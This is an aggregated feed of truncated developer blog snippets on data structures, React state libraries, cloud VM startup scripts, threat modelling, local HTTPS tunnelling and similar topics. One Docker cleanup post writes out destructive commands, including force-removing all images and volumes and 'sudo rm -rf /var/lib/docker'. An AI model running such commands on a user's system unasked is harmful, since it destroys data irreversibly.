😜🔥 𝗪𝗵𝗮𝘁 𝗵𝗮𝗽𝗽𝗲𝗻𝘀 𝘄𝗵𝗲𝗻 𝗮𝗻 𝗜𝗻𝗱𝗶𝗮𝗻 𝗜𝗧 𝗳𝗹𝗼𝗼𝗿’𝘀 𝗰𝗵𝗮𝗶 𝗯𝗿𝗲𝗮𝗸 𝗰𝗼𝗹𝗹𝗶𝗱𝗲𝘀 𝘄𝗶𝘁𝗵 𝗮 𝗺𝗮𝗷𝗼𝗿 𝗯𝘂𝗴? Absolute 𝗖𝗛𝗔𝗢𝗦 — and it’s all in our new story “𝘊𝘩𝘢𝘪, 𝘊𝘰𝘥𝘦 𝘢𝘯𝘥 𝘊𝘩𝘢𝘰𝘴”! Meet 𝗗𝗘𝗩 𝗜𝘆𝗲𝗿, the self-proclaimed “𝘊𝘰𝘥𝘦 𝘕𝘪𝘯𝘫𝘢” who writes code so clean even he can’t debug it later, and 𝗕𝗨𝗚𝗵𝗮𝗶𝗹, the "𝘶𝘯𝘴𝘵𝘰𝘱𝘱𝘢𝘣𝘭𝘦 𝘣𝘶𝘨-𝘸𝘩𝘪𝘴𝘱𝘦𝘳𝘦𝘳" who spots errors faster than HR sends Friday memes. 📆 It’s 10:15 AM with 48 “𝗰𝗵𝗮𝗶 𝗵𝗼𝘂𝗿𝘀” to release — caffeine maxed, Maggie noodles in the air - and one tiny bug is about to wreak havoc. 🤣 Think your team’s seen chaos? This takes it up a notch. 👉 𝗥𝗲𝗮𝗱 𝘁𝗵𝗲 𝗳𝘂𝗹𝗹 𝘀𝘁𝗼𝗿𝘆 𝗼𝗻 𝗠𝗲𝗱𝗶𝘂𝗺 - 𝘁𝗵𝗲𝗻 𝘁𝗮𝗴 𝗮 DEV 𝗼𝗿 𝗤𝗔 𝗯𝘂𝗱𝗱𝘆 𝘄𝗵𝗼 𝗹𝗶𝘃𝗲𝘀 𝗳𝗼𝗿 𝗰𝗵𝗮𝗶 𝗯𝗿𝗲𝗮𝗸𝘀 𝗮𝗻𝗱 𝗰𝗿𝗮𝘇𝘆 𝗱𝗲𝗮𝗱𝗹𝗶𝗻𝗲𝘀! Chai, Code and Chaos: The Indian IT Bug Comedy That Nobody Saw Coming | by Sohail Mohammed | Coffee☕ And Code💚 | Aug, 2025 | Medium Sohail Mohammed ・ Aug 16, 2025 ・ #SoftwareDevelopment #Coding #TechHumor #ChaiBreak #DeveloperLife #BugFixing #QualityAssurance #DevvsTester #Developers #Testers  ( 5 min )

Alright, so I was grinding some LeetCode problems (as one does) and in one of a problem I saw this pattern—Double Ended Queue or Deque (pronounced "deck," not "dee-queue," learned that the hard way 😅). At first, I was like, "Why not just use a normal queue or a stack?" But turns out, deques are game changer for certain problems. So, let’s break it down—what it is, how to implement it (in TypeScript, you can use your fav language), and where it uses in DSA. A Deque is like a queue, but with some more powers. In a normal queue, you can only add to the back (enqueue) and remove from the front (dequeue). But a deque lets you add/remove from both ends. Think of it as a hybrid between a stack (LIFO) and a queue (FIFO). pushFront(x): Add x to the front. pushBack(x): Add x to the back. popFront()…  ( 8 min )

Hi everyone 👋 I built a new addon for Storybook called Range Controls. It lets you adjust story args (strings, numbers, and arrays) with sliders — making it easier to stress-test layouts and catch edge cases. I often used Storybook’s built-in argTypes with type: "range" sliders to check design variations. That works great for primitives (strings, numbers), but for more complex structures — like arrays of nested objects (e.g. tags inside a card) — I found myself writing the same boilerplate code again and again. This addon was created to reduce that overhead and make it simpler to configure sliders for strings, numbers, and arrays. Card List Range Controls Panel 👉 Live Demo: Chromatic preview npm install --save-dev storybook-addon-range-controls .storybook/main.js addons: [ "@storybook/addon-docs", "storybook-addon-range-controls", ]; parameters: { range: { title: { type: "string", min: 0, max: 50, step: 5 }, likes: { type: "number", min: 0, max: 999 }, tags: { type: "array", min: 0, max: 5, items: { type: "string" }, defaultItem: (i: number) => `tag-${i + 1}`, }, } } I’d love to hear your thoughts: Is the API design clear enough? Would this be useful in your Storybook workflow? Any missing features you’d expect? 👉 Links: npm GitHub Thanks for checking it out! 🚀  ( 5 min )

🔹 What is a Project-Level Startup Script? A startup script is a script that runs automatically whenever a VM boots. VM-Level Startup Scripts apply only to the specific VM. Project-Level Startup Scripts apply to all VMs within that project by default. 👉 Use Project-Level scripts when you want to enforce common configurations across all your VMs (e.g., install antivirus, logging agents, monitoring agents, etc.). Go to Compute Engine → Settings → Metadata Click on Edit Add Metadata Key: startup-script Add Metadata Value: #!/bin/bash sudo apt install -y telnet sudo apt install -y nginx sudo systemctl enable nginx sudo chmod -R 755 /var/www/html HOSTNAME=$(hostname) sudo echo " PROJECT-LEVEL STARTUP SCRIPT Wel…  ( 6 min )

When building or testing streaming-related applications, developers often need a quick way to sideload apps onto Fire TV Stick or Android TV devices. Traditionally, this requires transferring APK files manually, configuring ADB, or using external storage — all of which can be time-consuming. This is where the Downloader codes list comes into play. By using a Downloader code, developers can share or access apps in seconds, without having to juggle complex deployment steps. A Downloader code is essentially a short numeric identifier used with the popular Downloader app (available on Fire TV and Android TV). Instead of typing long URLs or uploading APKs, you just enter the code, and the Downloader app fetches the file directly. For example, instead of pasting a long URL like: _https://example…  ( 6 min )

This post is about how to perform Threat Modelling using the STRIDE model. I'll also highlight some tips with using OWASP Threat Dragon, and some practices I choose to follow. Threat modelling is a critical part of a secure development lifecycle. We use a model, such as STRIDE, to help us identify, review and mitigate potential threats and vulnerabilities within a software system (or application). The goal is to identify and mitigate threats early, before they become problems. It is critical that everyone in the team responsible for the software application is involved, as everyone can bring a different perspective. Furthermore, it helps educate all members of the team, as application security is everyone's responsibility. STRIDE is a threat classification model which was developed by Micr…  ( 10 min )

It’s been an exciting first week in my cloud journey. While I’ve had some past experience with Linux and basic scripting, it’s been a while since I last explored the cloud. So, I dedicated this week to revisiting the fundamentals and bridging the gap between my existing skills and the next phase of my learning. I started by moving around directories, installing software, and managing files. I first learned about package management — a tool to find software from repositories, install it, update it, and remove it. Package management taught me that every distribution has its own way of handling software, but the core principle remains same. Then came process management. At first, “killing” a process was confusing because I had to read about signals and what they actually did. But I soon reali…  ( 6 min )

Redux in react Nimra Kosar ・ Aug 16 #webdev #programming #javascript #beginners  ( 5 min )

In the microscopic theatre of cellular engineering, a new player has emerged that could fundamentally alter how we approach genetic medicine. NovaIscB represents a quantum leap in precision gene editing—a tool so compact and accurate it makes current CRISPR systems look like sledgehammers in comparison. This miniaturised molecular scalpel, born from the ancient bacterial immune systems of hot springs organisms, is poised to unlock therapeutic possibilities that seemed impossible just years ago. As researchers race to harness its potential, NovaIscB stands at the threshold of transforming how we treat genetic diseases, cancer, and age-related conditions. Deep within the scalding waters of Yellowstone's hot springs, where temperatures reach near-boiling and acidity rivals battery acid, an ex…  ( 17 min )

Redis Pixel War Alfredo Salzillo ・ Aug 10 #redischallenge #devchallenge #database #ai  ( 5 min )

Writing clear and consistent pull request (PR) descriptions is… let’s be honest — a chore. But what if your PR titles and descriptions could write themselves — tailored, professional, and markdown-formatted? That’s exactly why I built GitHub PR-Scribe-AI ✨. 🧠 What It Does 🔹 Generates high-quality PR titles + descriptions automatically. 🔹 Uses AI models of your choice → OpenAI GPT or Google Gemini. 🔹 Produces markdown-ready summaries from your code diff. 🔹 Lets you inject custom fields (e.g., “Risk Level”, “Jira Ticket”, “Reviewer Notes”) into every PR. 🔹 Keeps your API keys 100% local — no data is sent to me or third parties. Basically, it’s your AI co-pilot for pull requests. 🎯 Why I Built It As a developer, I wanted: Faster reviews → reviewers spend less time guessing what my code does. Consistency → all PRs follow a professional, structured format. Choice → not being locked into just GPT or just Gemini. None of the existing extensions gave me flexibility + privacy. So, I scratched my own itch. ⚡ Quick Demo Install the extension → GitHub PR-Scribe-AI Connect your OpenAI or Gemini API key Open a PR on GitHub [on Compare page] Click “Generate” → Watch the title + description appear automagically ✨ Yes, it even formats it in markdown so your PR looks like this: ## Summary This PR refactors the user authentication flow to improve readability and reduce API calls. ## Changes - Replaced nested callbacks with async/await - Extracted reusable token validation logic - Added unit tests for edge cases ## Risk Low – No breaking changes for existing API consumers. 🔒 Privacy First No data leaves your browser. 🚀 What’s Next I’m actively shipping new features, including: 🔗 Try It Out 👉 Install GitHub PR-Scribe-AI on Chrome now. I’d love your feedback — if you’re a developer who reviews PRs daily, this tool was built for you. Drop your thoughts in the comments, or star the project if it saves you time. 💡 Question for you: PR reviews — writing them, or reading them?  ( 6 min )

Redux in React: A Beginner’s Guide that Doesn’t Waste Your Time For more detail visit this link: https://medium.com/@nimrakosar6/redux-in-react-85cf316667ad ** ** React apps me kabhi-kabhi data manage karna messy ho jaata hai. Har component ko data dena aur update karna confusing lagta hai. 👉 Yahan Redux help karta hai. Simple socho: Tumhare React components = ghar ke members Redux store = fridge 🍕 Har member ko khana (data) chahiye to sidha fridge se le lega — sabko bar-bar ek doosre se poochhna nahi padega. Redux useful hai jab: App badi ho jaaye aur props drilling (data har jagah pass karna) boring lagne lage. Tum chaho data ek jagah safe rahe. Tum easy debugging aur control chaho. Small apps ke liye Redux zaroori nahi. React ka useState ya Context API kaafi hota hai. Yaad rakho Red…  ( 7 min )

Ever feel like 𝘺𝘰𝘶 𝘩𝘢𝘷𝘦 𝘮𝘰𝘳𝘦 𝘱𝘳𝘰𝘥𝘶𝘤𝘵𝘪𝘷𝘪𝘵𝘺 𝘢𝘱𝘱𝘴 𝘵𝘩𝘢𝘯 𝘱𝘳𝘰𝘥𝘶𝘤𝘵𝘪𝘷𝘦 𝘩𝘰𝘶𝘳𝘴? 🙋‍♂️ That was me, until I had an 𝗲𝗽𝗶𝗽𝗵𝗮𝗻𝘆. I was juggling Notion pages that even my cat couldn’t follow and Trello boards that required a PhD. ▶ 𝗣𝗶𝗰𝘁𝘂𝗿𝗲 𝘁𝗵𝗶𝘀: I’m in a sprint planning meeting, crazy Alt+Tabbing between Jira, Confluence and three note apps to find a scan of my Aadhaar card (yes, really). It hit 𝘮𝘦 hard – this wasn’t me being slow, it was the tools! So I did the craziest thing: 𝗜 𝗻𝘂𝗸𝗲𝗱 𝗺𝘆 𝘄𝗵𝗼𝗹𝗲 𝘀𝘁𝗮𝗰𝗸 and switched to just 𝗔𝗽𝗽𝗹𝗲 𝗡𝗼𝘁𝗲𝘀 for everything. 📱 Suddenly all my to-dos, project notes and ideas lived in 𝗼𝗻𝗲 𝗽𝗹𝗮𝗰𝗲. And you know what? I actually 𝗴𝗲𝘁 𝘁𝗵𝗶𝗻𝗴𝘀 𝗱𝗼𝗻𝗲 𝗻𝗼𝘄. No more hunting through 5 apps – just clean, searchable notes. As I love saying, “I always come back to the 𝘴𝘪𝘮𝘱𝘭𝘪𝘤𝘪𝘵𝘺 and integration of Apple Notes. It’s the core of my productivity system". 🛠️ 𝗣𝗿𝗼𝗯𝗹𝗲𝗺𝘀 𝗜 𝗵𝗮𝗱: ✨ 𝗛𝗼𝘄 𝗜 𝗳𝗶𝘅𝗲𝗱 𝗶𝘁: Curious how one simple app can 𝘤𝘩𝘢𝘯𝘨𝘦 𝘺𝘰𝘶𝘳 𝘸𝘰𝘳𝘬𝘧𝘭𝘰𝘸? Check out my full blog post (link below). It’s a game-changer. 👇 One App to Rule Them All: Why I Dropped Notion, Todoist & Trello for Apple Notes | by Sohail Mohammed | Bootcamp | Aug, 2025 | Medium Sohail Mohammed ・ Aug 15, 2025 ・ 𝗪𝗵𝗮𝘁 𝗮𝗯𝗼𝘂𝘁 𝘆𝗼𝘂? Ever gone “all in” on one app for work? Drop your wildest productivity setup or battle story in the comments – let’s swap tips! #𝘗𝘳𝘰𝘥𝘶𝘤𝘵𝘪𝘷𝘪𝘵𝘺𝘏𝘢𝘤𝘬𝘴 #𝘈𝘱𝘱𝘭𝘦𝘕𝘰𝘵𝘦𝘴 #𝘞𝘰𝘳𝘬𝘓𝘪𝘧𝘦 #𝘓𝘦𝘢𝘥𝘦𝘳𝘴𝘩𝘪𝘱 #𝘗𝘳𝘰𝘥𝘶𝘤𝘵𝘪𝘷𝘪𝘵𝘺 #𝘛𝘦𝘤𝘩𝘐𝘯𝘯𝘰𝘷𝘢𝘵𝘪𝘰𝘯 #𝘚𝘪𝘮𝘱𝘭𝘪𝘤𝘪𝘵𝘺  ( 6 min )

Setup APIs are connections between computers to exchange information or data. For a website, we expect them to return a visual change, something as simple as a now different text or a floating message in the corner of the screen. However, what if the API we are waiting for is taking too long to respond to us? Are we supposed to stare at the screen now? Is there anything else we can do on the website at the moment? Such frustration and panic would ruin the experience of any patient user. And to us developers, the general solution is an API that would return its progress periodically. In this tutorial, I’m going to introduce an answer to the above issue, by using EventSource class along with a Flask API server. The complete demo is available here for reference Below are the prerequisites f…  ( 8 min )

JavaScript’s Map is often overshadowed by Object, but for many key–value use cases it’s the better tool—faster, safer, and more flexible. This article walks through what a Map is, how it works under the hood (hashing, buckets, collisions), why operations are usually O(1), when they’re not, and when to choose Map over Object. Map? In simple terms: Map is a key–value data structure (a hash table). Unlike plain objects, Map allows any type of key (strings, numbers, objects, functions) and gives predictable iteration, a built-in size, and methods tailored for dictionary behavior. // ❌ Common mistake: Using Object like a Map let players = { USER_1: { name: 'Shubham', score: 120 }, }; // This will throw: players.set is not a function players.set('USER_2', { name: 'Atharva', score: 200 }); …  ( 8 min )

Introduction In the fast-paced realm of modern data management, where speed, scalability, and reliability are non-negotiable, Dragonfly emerges as a compelling open-source alternative to traditional in-memory stores like Redis. Built for efficiency and compatibility, Dragonfly delivers exceptional performance while consuming fewer resources, making it an ideal choice for high-throughput applications. However, as your system grows, safeguarding against data loss and downtime requires more than just raw speed—it demands robust redundancy. In this post, we will deploy Dragonfly in replication mode, utilizing Dragonfly itself and Redis Sentinel as the high-availability solution. For this scenario, we have 3 Linux machines with the following specifications: Instance OS IP ROLE Services …  ( 9 min )

Introduction Lately I’ve been looking into hosting open‑source models on dedicated Azure virtual machines and thought: how hard can it be to pick the right VM and how much cost can you actually save by choosing a smaller model? Of course, Microsoft’s serverless options are cheaper and much easier to deploy. But I like to know how things work and to manage my own compute, partly out of technical curiosity, partly for compliance and privacy. Running on dedicated VMs gives you more control on both fronts. I couldn’t find a clear, practical guide for sizing a VM based on the model you choose, so I built one: a quick single page web app. Try it here → Live Azure LLM Sizer (code: GitHub). I started with a simple problem definition, a rough goal for the app, and a few broad requirements. I deli…  ( 9 min )

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Open banking APIs are exploding (580 billion calls expected by 2027), passkeys are killing passwords for good, and your fintech stack is about to get a serious upgrade. Here's what you need to know.* Before we dive into the code, let's talk scale: Open banking API calls will grow from 102 billion in 2023 to 580 billion in 2027 Organizations using fintech APIs see 35% faster time-to-market and 42% reduction in development costs WebAuthn now has 98% reach across global web browsers Over 90% of developers actively use APIs, accounting for 83% of all internet traffic Translation: If you're not building with modern payment APIs and passwordless auth, you're already behind. Remember when you had to build payment processing from scratch? Those days are over. The PSD2 directive in Europe has unle…  ( 8 min )

First of all let's see the code below // Function to post to Dev.to app.post("/post-to-devto", async (c) => { try { const { title } = await c.req.json(); if (!title) { c.status(400); return c.json({ error: "Title is required", }); } // Check if DEV_TO_API token is available if (!process.env.DEV_TO_API_TOKEN) { c.status(500); return c.json({ error: "DEV_TO_API_TOKEN environment variable is not set", }); } // Fetch the document from Firestore publish collection using the title const postsSnapshot = await firestore .collection("publish") .where("title", "==", title.replaceAll("-", " ")) …  ( 7 min )

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Firewall Implementation on Nautilus Infrastructure I have successfully implemented a security enhancement on the Nautilus infrastructure in the Stratos DC. This article outlines the comprehensive steps taken to secure Apache's port, including the reasoning behind each action, and provides a clear guide for future maintenance. Why the Firewall Was Necessary Previously, Apache's port 3004 was left open for all incoming connections, which posed a significant security vulnerability. An open port is an entry point, making the system susceptible to various attacks, including unauthorized access attempts, port scanning, and Denial-of-Service (DoS) attacks. The decision to install and configure iptables was made to enforce a strict security policy, ensuring that only trusted traffic from the L…  ( 7 min )

The Problem I Faced As a developer working with C++ in Visual Studio Code on Windows, I encountered two frustrating issues that prevented me from having a smooth coding experience: When trying to compile my C++ file (oops.cpp) using the default VS Code configuration, I was getting these linker errors: undefined reference to `std::basic_ostream >& std::operator >(std::basic_ostream >&, char const*)' undefined reference to `std::ostream::operator >& std::endl >(std::basic_ostream >&)' undefined reference to `std::cout' The build was failing c…  ( 7 min )

Most Web2 developers dip into Web3 thinking it’s just another backend with a different API. Then they hit gas fees, strange error messages, and a completely alien account system. This always results in frustration, half-finished projects, and tweets about how “Web3 UX sucks.” But the problem usually isn’t Web3 alone — it’s carrying Web2 assumptions into a world that plays by different rules. Here are the top mistakes Web2 devs make or pitfalls I'd say, and how to avoid them. By the way, I used NEAR and EVM chains as citations Treating the Blockchain Like a Database Web2 mindset: “I’ll just store everything on-chain.” Reality: Every byte of storage is expensive. For instance, on NEAR storage is paid with tokens; on EVM chains, it’s permanent and costs gas. The fix: Use the chain for what i…  ( 6 min )

Introduction In the rapidly evolving landscape of mobile app development, ensuring secure user authentication is paramount. It not only protects sensitive data but also builds user trust and complies with regulatory standards. This blog delves into the core concepts, modern techniques, and best practices for implementing authentication in mobile applications. Understanding Authentication in Mobile Apps Authentication verifies the identity of users attempting to access an app. Unlike authorization, which determines what an authenticated user can do, authentication is the first step to establish trust. Effective authentication mechanisms must balance security, usability, and performance. Traditional Authentication Methods 1. Password-Based Authentication The most common method involves users…  ( 6 min )

Publishing In the Play Store Console, we need to add 'Wear OS' as a form factor of our app – until we do this, there will be no way to actually upload Wear OS screenshots or the actual Wear OS app! To do this, go to the "Test and Release" > "Advanced Settings" section from the left-navbar. On this page there will be a "Form factors" tab, from which you can choose "Add form factor" and choose Wear OS: After this, you will also need to enrol and accept the Wear OS program conditions, which should appear after selecting the form factor. Once all that's done, publishing a Wear OS app is just like any other Android app: go to "Test and Release", choose the appropriate track (e.g., "Production") and click "Create new release" (make sure you've chosen "Wear OS only" next to the button): From …  ( 8 min )

Hello, everyone! How often do you make mistakes while working in the terminal? I'm sure everyone has forgotten sudo at least once or typed cs instead of cd. Once, I saw the alias fuck for adding sudo to the previous command. I got interested and started digging. In my search, I found the utility thefuck. In addition to simply adding sudo where necessary, it can correct typos in commands, add missing flags, and much more. However, I found two drawbacks. First, the program is written in Python, which can make it slow. Second, it has not been supported for a long time, so it does not work on newer versions of the language. We're programmers here, I thought, and decided to write an alternative in Rust called theshit. Honestly, it was my first experience with Rust, which made it even more inter…  ( 6 min )

Today I ran into something funny — I needed a decent HTML report for my pytest run, and my first thought was: Usually, that means: Installing pytest-html or allure-pytest Setting up .ini or passing a long list of CLI flags (or even installing Java in allure’s case) Making sure people on other machines can actually open the report Writing a little conftest.py hook to add metadata Trying not to break CI/CD in the process Time spent? Way too much, just for a simple report. And in my case, there was another catch — I was running tests in parallel with pytest-xdist. If you’ve done that before, you will need another merger plugin to merge all the xmls So I looked around for that plugin but found pytest-html-plus. I didn’t even read the docs at first — I just installed it: pip install pytest-html-plus Done. That’s it. What surprised me: It handled parallel runs without breaking the report (even with xdist) Added metadata like branch, commit, environment, and timestamp automatically I could copy logs and errors with one click The report was shareable as-is without worrying about dependencies I didn’t have to touch a single test file — no extra hooks or decorators Honestly, the whole “report” part of my workflow went from “ugh, I’ll do it later” to “done in 5 seconds”, even in CI. If you’ve been wrestling with HTML reports in pytest — especially with parallel runs — this was a nice surprise. Even better part is that I could email the test report by just triggering --plus-email 🔗 https://pypi.org/project/pytest-html-plus/  ( 6 min )

Hey everyone, I just launched my new developer portfolio and wanted to share the process, the tech stack, and a few lessons I learned while building it. Live site: nishul.dev Features What I Learned Feedback Wanted Thanks for reading, and if you’re working on your own portfolio, I’d love to see it too!  ( 5 min )

When working with React applications, managing dynamic and asynchronous data often becomes complex. Recoil, a state management library for React, offers a powerful duo: atomFamily and selectorFamily, which enable developers to manage parameterized state and perform async queries effortlessly. In this article, we’ll explore how these concepts work together with a practical example: fetching dynamic todos from an API. atomFamily An atom in Recoil is a unit of state that components can subscribe to. atomFamily allows you to create parameterized atoms, meaning each atom can hold a separate value depending on the parameter passed (like an id). This is ideal for scenarios where you need to manage multiple similar states (e.g., todos, users, posts) without manually creating separate atoms for …  ( 6 min )

Developing a Next.js application is a streamlined experience, but things can get complicated when you need to run your local development server over HTTPS. Modern web development often demands a secure context (https://) for a growing number of features, from simple API integrations to complex Progressive Web Apps (PWAs). While your production site runs on HTTPS, getting your local http://localhost:3000 to do the same can feel like a major hurdle, forcing you to wrestle with SSL certificates, complex configurations, and frustrating browser warnings. This guide will dive deep into why HTTPS is crucial for your local Next.js environment and explore the common challenges developers face. More importantly, we'll walk you through the easiest and most efficient solution: using an open-source tun…  ( 12 min )

Understanding Executive Function: Your Brain's Command Center Ever wondered how you juggle tasks, plan your day, and stay focused on what matters? That’s the work of executive function, your brain's internal CEO managing complex mental processes. This blog post dives into the fascinating world of executive function, comparing it to an air traffic control system that organizes your thoughts and actions, and revealing how you can strengthen these vital skills. Executive function encompasses a range of high-level mental skills that allow you to: Plan and prioritize tasks effectively. Maintain focus even amidst distractions. Regulate emotions to respond thoughtfully rather than reactively. Adapt to changes in your environment or schedule. These skills are crucial for navigating daily life, e…  ( 6 min )

Developing modern web applications often means working with features that require a secure context. Your browser, third-party APIs, and security best practices all push you towards using HTTPS, even in your local development environment. In this comprehensive guide, we'll explore why you need localhost HTTPS, walk through the traditional methods of setting it up and demonstrate and easy way to set it up using Tunnelmole, a powerful, one-command solution to get a secure, shareable HTTPS URL for your local server quickly. Running your local server over HTTPS (Hypertext Transfer Protocol Secure) is no longer a "nice-to-have"; it's often a necessity for several reasons: Browser Feature Requirements: Many modern browser APIs will only function in a "secure context". If you try to use them over…  ( 10 min )

🤖 What is Generative AI? Generative AI (Gen AI) is a type of artificial intelligence that can create new content like: Text (e.g., writing emails, summaries, answers) Images (e.g., AI-generated art) Code (e.g., coding assistants like GitHub Copilot) Music, videos, and more 🎯 In simple words: You give the AI a prompt (a message or question), and it gives you a new response or result. Here’s a basic process: The AI is trained using massive datasets (books, articles, code, images). It learns patterns, language, and structure. You give it a prompt like “Explain gravity,” and it uses its knowledge to give a relevant answer. It predicts the most likely next word/token — one at a time — to form a complete response. A token is a small piece of text — a word or part of a word. AI doesn’t unders…  ( 9 min )

When building complex React applications, we often deal with multiple instances of similar pieces of state. Managing each one separately with individual atoms can quickly become messy and repetitive. Recoil provides a powerful utility called atomFamily to solve this problem. In this article, we’ll break down what atomFamily is, why it’s useful, and how it works in the context of a Todo app. atomFamily? atomFamily is a factory function that allows us to create parameterized atoms. Instead of writing separate atoms for each todo, we can create one family of atoms. Each atom inside the family is uniquely identified by its parameter (like an id). This makes managing dynamic state instances (e.g., multiple todos, users, or chat rooms) simple and scalable. Let’s break down your provided exampl…  ( 6 min )

Definition: What is Over-Engineering? Over-engineering in software and systems development occurs when a solution is made more complex than necessary to meet its current requirements. It often involves building features “just in case,” designing for hypothetical scalability, or adding abstraction layers that serve no immediate purpose. Unlike necessary complexity—which arises naturally when solving hard, real-world problems—over-engineering is avoidable complexity. It doesn’t improve the product’s core value but instead increases its burden. In short: necessary complexity solves real problems; over-engineering solves imagined ones. Several recurring factors push teams toward this trap: Developers optimize performance or scalability far beyond what is needed. As Donald Knuth famously said…  ( 7 min )

WTF is this: Confidential Computing "Confidential what-now?" Yeah, I felt the same way when I first stumbled upon this term. It sounds like something out of a spy novel, doesn't it? But fear not, dear reader, for today we're going to demystify this tech buzzword and make it ridiculously easy to understand. What is Confidential Computing? Imagine you're at a coffee shop, and you need to send a super-secret document to your colleague. You wouldn't just leave it on the table for anyone to see, would you? You'd probably encrypt it, or use a secure channel to send it. That's basically what Confidential Computing is, but for computers. It's a technology that allows sensitive data to be processed and analyzed while keeping it encrypted and protected from unauthorized access. Think of it like a di…  ( 7 min )

Ever wanted to host your apps running on localhost straight to the internet? Be careful—now you won’t be able to say “it works on my local”. Because sometimes localhost:3000 just isn’t spicy enough. 🌶️ A domain – Your digital real estate. Your little castle in the vast internet kingdom. A personal computer – Your trusty steed. Doesn’t need to be a supercomputer, just something that won’t faint when you open 47 Chrome tabs. (AKA Claim Your Internet Throne) First things first—register your domain with Cloudflare. You can use Cloudflare’s documentation and follow the instructions. You can either buy a domain directly from Cloudflare Or transfer an existing one (I got mine from Hostinger) Once you hook it up, it’ll show up in your Cloudflare dashboard. Congrats 🎉 Step 1 comple…  ( 7 min )

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Introduction: From Localhost to the World As a developer, your local machine is your sanctuary. You build, test, and iterate on applications using a localhost server, a private loopback address (like 127.0.0.1) that lets you see your work in action without needing an internet connection. This setup is fast, secure, and perfect for the initial stages of development. But what happens when you need to break out of this local bubble? You need to test a webhook integration from a third-party service like Stripe, Shopify, or Slack, which can only send requests to a public URL. You want to show a client or a colleague a work-in-progress without deploying it to a staging server. You need to test your web app on a real mobile device, not just a browser emulator. You are collaborating with a front…  ( 10 min )

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If you’ve been messing around with Docker for a while, chances are your system has turned into a junkyard of old containers, images, and volumes you don’t even remember creating. Docker is amazing, but it’s also a hoarder by default. And let’s be honest. if you’re using Docker Desktop, especially on Mac or Windows, that bloated piece of software is probably eating your RAM for breakfast. My honest advice: uninstall Docker Desktop. On Mac/Linux and you still want a GUI? → Check out OrbStack. Way lighter, way faster. Or, better yet: learn the CLI like a seasoned dev. Once you get comfortable, it feels way cleaner and faster. Now, let’s talk about how to completely clean up Docker. weekly if you’re a heavy Docker user, or at least twice a month to keep things fresh. This will clear out unused containers, images, networks, volumes, and if you want, completely nuke Docker’s system files. The easiest, safest way to clear unused junk: docker system prune -a --volumes -a: removes all unused images (not just dangling ones). --volumes: removes unused volumes too. Think of this as Docker’s version of spring cleaning. (Run this once a week, and Docker won’t ever balloon out of control.) Sometimes you just want a fresh start: docker stop $(docker ps -aq) docker rm $(docker ps -aq) Go full “factory reset” mode on your Docker resources: docker rmi -f $(docker images -aq) docker volume rm $(docker volume ls -q) docker network rm $(docker network ls -q) ⚠️ Warning: this wipes Docker’s entire state, including cached layers. sudo systemctl stop docker sudo rm -rf /var/lib/docker /var/lib/containerd sudo systemctl start docker Keeps things lean and mean. Ditch Docker Desktop → Use OrbStack (Mac) or CLI (Linux). Run docker system prune -a --volumes once a week (or at least twice a month). Reset Docker fully only if things are really broken. Your future self (and your SSD) will thank you.  ( 6 min )

--- Animations have become a core part of modern digital experiences. From websites to mobile apps to games, animation improves usability, brand identity, and user engagement. But when it comes to choosing the right tool, the debate often comes down to Rive vs Lottie. Both are powerful, but which one should you use in 2025? Let’s break it down. Lottie is an open-source animation library created by Airbnb. It lets developers render After Effects animations in real time across multiple platforms. ✅ Cross-platform support (iOS, Android, React Native, Flutter, Web) ✅ JSON-based (super lightweight) ✅ Easy integration with minimal code ✅ Expanding 3D & motion plugin ecosystem ✅ Optimized performance for low-power devices 👉 Best for: Loading screens, micro-animations, branded icons.…  ( 7 min )

This video by Danny Maude reveals that pro-level ball striking boils down to controlling the low point of your swing arc—specifically your pelvis position at impact. He shares two simple drills (the “yoga wedge” for an early pelvis shift and the “pocket move” for perfect low-point control) that will help you hit your driver straighter, compress your irons, and eliminate fat, thin or slicing shots. You’ll also discover why impact matters more than your backswing, how to fix your swing path, and setup tweaks for more distance and accuracy. With clear timestamps and easy practice drills, you’ll be on the range in no time nailing consistent, powerful strikes. Watch on YouTube  ( 5 min )

Last 2 weeks, I was participating in the ARC AGI 3 preview competition. I was trying out different techniques to solve the problem. The competition challenge is that we need to build an agent to win an unknown game. Most of the things that I tried didn’t work well. My solution uses Text LLM, Image LLM, and Video LLM. But still, it doesn’t perform well enough to win the full game. In the full development, I used Gemini. There were rate limit errors. After a few manual experiments and runs with a random agent, I created the below initial flow: Generate a random trial gameplay and reset the game. Only use the frames that have an effect in analysis. Pass the gameplay video to the LLM, then generate 10 hypotheses out of it (Retrieval) [Analysis]. Create hints using the gameplay, which will help…  ( 7 min )

Every React component has a story. It’s born (when it first appears on the screen), it lives (responding to user input, fetching data, updating the UI), and eventually, it retires (when React says, “Thanks for your service” and removes it from the DOM). This journey is called the component lifecycle — and understanding it isn’t just trivia. It’s the secret to: Fetching data at the right moment (and only once) Avoiding awkward bugs like double API calls or memory leaks Writing components that feel smooth, not sluggish Now, don’t worry — we’re not going back to the class-component days of memorizing things like componentDidMount or componentWillUnmount. Those still exist historically, but we’re in a hooks-first world, so we’ll learn lifecycle concepts and map them to modern function componen…  ( 16 min )

In today’s app-driven world, user experience (UX) is everything. A smooth, dynamic interface can make the difference between an app that feels outdated and one that captivates users from the first tap. This is where Rive animations come into play. Rive is not just another animation tool—it’s a real-time interactive animation engine that empowers developers to create lightweight, scalable, and dynamic animations for both Flutter and React. Unlike static GIFs or heavy video files, Rive integrates seamlessly into apps, delivering performance without compromising on creativity. But here’s the challenge: while Rive offers enormous potential, many developers struggle with how to properly implement it in Flutter and React apps. This guide will walk you through everything—from setup to advanced us…  ( 7 min )

Gemma 3 270M is a lightweight AI model from Google that simplifies running advanced AI on everyday devices. It focuses on key features like speed and data security, making it suitable for developers and businesses seeking practical solutions. This model packs 270 million parameters into a compact design, allowing it to handle tasks such as text generation and summarization without needing powerful hardware. It works well on laptops, mobiles, or browsers, with support for up to 32,000 tokens and optimizations for efficient memory use. Key highlights include its pre-trained and customizable nature, which helps adapt it for various needs. Gemma 3 270M offers several advantages that make it appealing for local use. It prioritizes privacy by keeping data on your device, avoiding external server…  ( 6 min )

